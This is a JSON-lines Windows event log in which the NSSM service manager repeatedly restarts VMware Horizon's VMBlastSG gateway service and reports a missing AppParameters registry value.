{"@timestamp":1646767810058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162809}}
{"@timestamp":1646767810059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160120","0"]}}},"module":"Application","provider":"nssm","sequence":162810}}
{"@timestamp":1646767810060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160120","160120","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162811}}
{"@timestamp":1646767810077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162812}}
{"@timestamp":1646767810077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162813}}
{"@timestamp":1646767810078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162814}}
{"@timestamp":1646767810079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162815}}
{"@timestamp":1646767938573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162816}}
{"@timestamp":1646767938574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162817}}
{"@timestamp":1646767938575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160728","0"]}}},"module":"Application","provider":"nssm","sequence":162818}}
{"@timestamp":1646767938576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160728","160728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162819}}
{"@timestamp":1646767938592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162820}}
{"@timestamp":1646767938592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162821}}
{"@timestamp":1646767938593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162822}}
{"@timestamp":1646767938594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162823}}
{"@timestamp":1646768067058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162824}}
{"@timestamp":1646768067059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162825}}
{"@timestamp":1646768067062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160184","0"]}}},"module":"Application","provider":"nssm","sequence":162826}}
{"@timestamp":1646768067063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160184","160184","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162827}}
{"@timestamp":1646768067080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162828}}
{"@timestamp":1646768067080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162829}}
{"@timestamp":1646768067081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162830}}
{"@timestamp":1646768067081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162831}}
{"@timestamp":1646768195580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162832}}
{"@timestamp":1646768195581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162833}}
{"@timestamp":1646768195582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159040","0"]}}},"module":"Application","provider":"nssm","sequence":162834}}
{"@timestamp":1646768195582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159040","159040","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162835}}
{"@timestamp":1646768195600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162836}}
{"@timestamp":1646768195601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162837}}
{"@timestamp":1646768195602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162838}}
{"@timestamp":1646768195603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162839}}
{"@timestamp":1646768324181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162840}}
{"@timestamp":1646768324193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162841}}
{"@timestamp":1646768324194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160312","0"]}}},"module":"Application","provider":"nssm","sequence":162842}}
{"@timestamp":1646768324194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160312","160312","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162843}}
{"@timestamp":1646768324210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162844}}
{"@timestamp":1646768324210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162845}}
{"@timestamp":1646768324211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162846}}
{"@timestamp":1646768324212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162847}}
{"@timestamp":1646768452969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162848}}
{"@timestamp":1646768452970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162849}}
{"@timestamp":1646768452970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159776","0"]}}},"module":"Application","provider":"nssm","sequence":162850}}
{"@timestamp":1646768452972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159776","159776","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162851}}
{"@timestamp":1646768452988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162852}}
{"@timestamp":1646768452988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162853}}
{"@timestamp":1646768452989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162854}}
{"@timestamp":1646768452990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162855}}
{"@timestamp":1646768581424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162856}}
{"@timestamp":1646768581424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162857}}
{"@timestamp":1646768581425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160092","0"]}}},"module":"Application","provider":"nssm","sequence":162858}}
{"@timestamp":1646768581425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160092","160092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162859}}
{"@timestamp":1646768581441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162860}}
{"@timestamp":1646768581442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162861}}
{"@timestamp":1646768581443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162862}}
{"@timestamp":1646768581444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162863}}
{"@timestamp":1646768709881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162864}}
{"@timestamp":1646768709881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162865}}
{"@timestamp":1646768709882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159888","0"]}}},"module":"Application","provider":"nssm","sequence":162866}}
{"@timestamp":1646768709883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159888","159888","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162867}}
{"@timestamp":1646768709900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162868}}
{"@timestamp":1646768709901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162869}}
{"@timestamp":1646768709902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162870}}
{"@timestamp":1646768709903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162871}}
{"@timestamp":1646768838315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162872}}
{"@timestamp":1646768838317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162873}}
{"@timestamp":1646768838318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160352","0"]}}},"module":"Application","provider":"nssm","sequence":162874}}
{"@timestamp":1646768838318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160352","160352","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162875}}
{"@timestamp":1646768838334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162876}}
{"@timestamp":1646768838335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162877}}
{"@timestamp":1646768838335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162878}}
{"@timestamp":1646768838336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162879}}
{"@timestamp":1646768966891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162880}}
{"@timestamp":1646768966892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162881}}
{"@timestamp":1646768966894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160720","0"]}}},"module":"Application","provider":"nssm","sequence":162882}}
{"@timestamp":1646768966895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160720","160720","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162883}}
{"@timestamp":1646768966916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162884}}
{"@timestamp":1646768966916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162885}}
{"@timestamp":1646768966917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162886}}
{"@timestamp":1646768966918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162887}}
{"@timestamp":1646769095337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162888}}
{"@timestamp":1646769095338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162889}}
{"@timestamp":1646769095338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157768","0"]}}},"module":"Application","provider":"nssm","sequence":162890}}
{"@timestamp":1646769095339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157768","157768","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162891}}
{"@timestamp":1646769095358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162892}}
{"@timestamp":1646769095359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162893}}
{"@timestamp":1646769095359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162894}}
{"@timestamp":1646769095360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162895}}
{"@timestamp":1646769223877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162896}}
{"@timestamp":1646769223880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162897}}
{"@timestamp":1646769223880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159560","0"]}}},"module":"Application","provider":"nssm","sequence":162898}}
{"@timestamp":1646769223881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159560","159560","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162899}}
{"@timestamp":1646769223897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162900}}
{"@timestamp":1646769223897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162901}}
{"@timestamp":1646769223898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162902}}
{"@timestamp":1646769223899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162903}}
{"@timestamp":1646769352545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162904}}
{"@timestamp":1646769352546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162905}}
{"@timestamp":1646769352546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160148","0"]}}},"module":"Application","provider":"nssm","sequence":162906}}
{"@timestamp":1646769352547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160148","160148","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162907}}
{"@timestamp":1646769352565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162908}}
{"@timestamp":1646769352565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162909}}
{"@timestamp":1646769352566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162910}}
{"@timestamp":1646769352567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162911}}
{"@timestamp":1646769481252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162912}}
{"@timestamp":1646769481252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162913}}
